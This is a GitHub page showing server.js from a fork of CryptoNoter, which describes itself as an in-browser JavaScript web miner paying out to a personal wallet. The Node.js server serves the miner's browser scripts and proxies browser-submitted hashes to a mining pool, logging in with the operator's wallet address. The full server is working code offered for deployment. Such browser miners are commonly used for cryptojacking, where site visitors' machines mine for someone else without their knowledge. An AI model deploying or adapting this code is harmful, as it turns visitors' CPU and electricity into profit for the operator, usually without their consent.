forked from JayWalker512/CryptoNoter
-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.js
250 lines (237 loc) · 8.2 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
/**
* CryptoNoter v1.4
* Open Source In-Browser Javascript Web Miner / Payout Towards Personal Wallet
* THE ONLY In-Browser Web Miner That Supports Multi Cryptocurrency.
*/
var http = require('http'),
https = require('https'),
WebSocket = require("ws"),
net = require('net'),
fs = require('fs'),
crypto = require("crypto");
var banner = fs.readFileSync(__dirname + '/banner', 'utf8');
var conf = {};
// check if config file exists
if (fs.existsSync(__dirname + '/config.json')) {
var conf = fs.readFileSync(__dirname + '/config.json', 'utf8');
conf = JSON.parse(conf);
}
//heroku port
conf.lport = process.env.PORT || conf.lport;
conf.domain = process.env.DOMAIN || conf.domain;
conf.key = process.env.KEY || conf.key;
conf.cert = process.env.CERT || conf.cert;
conf.pool = process.env.POOL || conf.pool;
conf.addr = process.env.ADDR || conf.addr;
conf.pass = process.env.PASS || conf.pass;
if (!conf.lport) {
console.error("Port (lport) needs to be defined in the config or via environment variable (PORT)");
process.exit(1);
};
if (!conf.domain) {
console.error("Domain (domain) needs to be defined in the config or via environment variable (DOMAIN)");
process.exit(1);
}
if (!conf.pool) {
console.error("Pool (pool) needs to be defined in the config or via environment variable (POOL)");
process.exit(1);
}
if (!conf.addr) {
console.error("Wallet Address (addr) needs to be defined in the config or via environment variable (ADDR)");
process.exit(1);
}
//ssl support
const ssl = !!(conf.key && conf.cert);
const stats = (req, res) => {
req.url = (req.url === '/') ? '/index.html' : req.url;
fs.readFile(__dirname + '/web' + req.url, (err, buf) => {
if (err) {} else {
if (!req.url.match(/\.wasm$/) && !req.url.match(/\.mem$/)) {
buf = buf.toString().replace(/%CryptoNoter_domain%/g, conf.domain);
if (req.url.match(/\.js$/)) {
res.setHeader('content-type', 'application/javascript');
}
} else {
res.setHeader('Content-Type', 'application/octet-stream');
}
res.end(buf);
}
});
}
//ssl support
if (ssl) {
var web = https.createServer({
key: fs.readFileSync(conf.key),
cert: fs.readFileSync(conf.cert)
}, stats)
} else {
var web = http.createServer(stats);
}
// Miner Proxy Srv
var srv = new WebSocket.Server({
server: web,
path: "/proxy",
maxPayload: 256
});
srv.on('connection', (ws) => {
var conn = {
uid: null,
pid: crypto.randomBytes(12).toString("hex"),
workerId: null,
found: 0,
accepted: 0,
ws: ws,
pl: new net.Socket(),
}
var pool = conf.pool.split(':');
conn.pl.connect(pool[1], pool[0]);
// Trans WebSocket to PoolSocket
function ws2pool(data) {
var buf;
data = JSON.parse(data);
switch (data.type) {
case 'auth':
{
conn.uid = data.params.site_key;
if (data.params.user) {
conn.uid += '@' + data.params.user;
}
buf = {
"method": "login",
"params": {
"login": conf.addr,
"pass": conf.pass,
"agent": "CryptoNoter"
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
case 'submit':
{
conn.found++;
buf = {
"method": "submit",
"params": {
"id": conn.workerId,
"job_id": data.params.job_id,
"nonce": data.params.nonce,
"result": data.params.result
},
"id": conn.pid
}
buf = JSON.stringify(buf) + '\n';
conn.pl.write(buf);
break;
}
}
}
// Trans PoolSocket to WebSocket
function pool2ws(data) {
try {
var buf;
data = JSON.parse(data);
if (data.id === conn.pid && data.result) {
if (data.result.id) {
conn.workerId = data.result.id;
buf = {
"type": "authed",
"params": {
"token": "",
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
buf = {
"type": "job",
"params": data.result.job
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
} else if (data.result.status === 'OK') {
conn.accepted++;
buf = {
"type": "hash_accepted",
"params": {
"hashes": conn.accepted
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
}
if (data.id === conn.pid && data.error) {
if (data.error.code === -1) {
buf = {
"type": "banned",
"params": {
"banned": conn.pid
}
}
} else {
buf = {
"type": "error",
"params": {
"error": data.error.message
}
}
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
if (data.method === 'job') {
buf = {
"type": 'job',
"params": data.params
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
} catch (error) { console.warn('[!] Error: '+error.message) }
}
conn.ws.on('message', (data) => {
ws2pool(data);
console.log('[>] Request: ' + conn.uid + '\n\n' + data + '\n');
});
conn.ws.on('error', (data) => {
console.log('[!] ' + conn.uid + ' WebSocket ' + data + '\n');
conn.pl.destroy();
});
conn.ws.on('close', () => {
console.log('[!] ' + conn.uid + ' offline.\n');
conn.pl.destroy();
});
conn.pl.on('data', function(data) {
var linesdata = data;
var lines = String(linesdata).split("\n");
if (lines[1].length > 0) {
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[0] + '\n');
console.log('[<] Response: ' + conn.pid + '\n\n' + lines[1] + '\n')
pool2ws(lines[0]);
pool2ws(lines[1]);
} else {
console.log('[<] Response: ' + conn.pid + '\n\n' + data + '\n');
pool2ws(data);
}
});
conn.pl.on('error', (data) => {
console.log('PoolSocket ' + data + '\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
conn.pl.on('close', () => {
console.log('PoolSocket Closed.\n');
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
});
web.listen(conf.lport, conf.lhost, () => {
console.log(banner);
console.log(' Listen on : ' + conf.lhost + ':' + conf.lport + '\n Pool Host : ' + conf.pool + '\n Wallet Add: ' + conf.addr + '\n');
console.log('----------------------------------------------------------------------------------------\n');
});